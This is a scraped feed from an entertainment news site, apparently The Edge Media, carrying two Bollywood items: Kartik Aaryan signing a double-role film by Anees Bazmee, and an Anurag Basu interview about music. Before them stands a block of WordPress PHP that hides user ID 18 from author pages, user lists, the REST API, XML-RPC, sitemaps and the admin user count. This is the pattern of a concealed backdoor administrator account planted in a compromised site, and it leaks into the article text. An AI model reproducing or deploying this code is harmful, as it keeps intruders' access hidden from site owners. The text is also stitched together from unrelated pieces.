add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Kartik Aaryan to Star in First-Ever Double Role Film Directed by Anees Bazmee appeared first on The Edge Media.
]]>
Following these projects, Kartik has reportedly signed Ram Aur Shyam, which will mark his first film featuring a double role. The movie will be directed by filmmaker Anees Bazmee, with whom Kartik previously collaborated on the blockbuster Bhool Bhulaiyaa 2.
A Fresh Take on the Classic Double Role
Though neither the actor nor the director has officially commented on the film, sources close to the production have revealed that both share a strong working relationship and mutual respect built during their previous collaboration. Kartik had long been interested in exploring a double role, and Anees Bazmee was considered the ideal choice to write and direct the project.
The upcoming Ram Aur Shyam will reportedly be a comedy but will offer a unique approach to the genre, differing from earlier double-role classics such as Dilip Kumar’s Ram Aur Shyam, Rajesh Khanna’s Sachcha Jhootha, Shah Rukh Khan’s Duplicate, and Hrithik Roshan’s Kaho Naa… Pyaar Hai.
Not a Remake of the 1967 Classic
Despite sharing its title with Dilip Kumar’s 1967 hit, the new Ram Aur Shyam is not a remake and will present an entirely original storyline. The film is expected to showcase Kartik’s versatility as an actor while giving audiences a fresh flavor of comedy under Anees Bazmee’s direction.
With a packed schedule and a series of diverse roles ahead, Kartik Aaryan continues to establish himself as one of Bollywood’s most dynamic and bankable stars.
The post Kartik Aaryan to Star in First-Ever Double Role Film Directed by Anees Bazmee appeared first on The Edge Media.
]]>The post Music is an inseparable part of Anurag Basu’s life appeared first on The Edge Media.
]]>Music is an integral part of my movies and my life. From morning till evening, I’m always listening to music… all kinds of music. Since it is there in my life, it naturally seeps into my movies as well. I cannot write a single line of a script if I’m not listening to music. So, it is very organic that music becomes important for storytelling in my movies,” Basu told PTI in an interview.
The 47-year-old filmmaker was keen to make a biopic on Kishore Kumar for the longest time. Though the project could not take off, Basu said it is his personal wish that the singer’s story is told on the big screen.
Last I heard that filmmaker Amit Kumar (the singer’s son) wanted to make the movie on Kishore Kumar. But whoever it is, I want this film to be made immediately. I have always loved Kishore Kumar and want his story to be told on the screen,” he said.
As a director of nine movies so far, Basu said he is now aware of his biggest weakness and he is constantly trying to overcome it.
There has never been any self-criticism but I often doubt myself. Whenever I complete a script, I start doubting myself. I believe that this is my biggest drawback. When you write something good, then one shouldn’t question it again and again as it can ruin your hard work. But I’m trying to overcome this,” he added.
The filmmaker is currently revelling in the success of his last movie, “Ludo”, which has been nominated for four awards at the Indian Film Festival of Melbourne (IFFM) Awards 2021.
The annual awards ceremony of the Indian Film Festival of Melbourne 2021 will be held virtually on August 20.
The post Music is an inseparable part of Anurag Basu’s life appeared first on The Edge Media.
]]>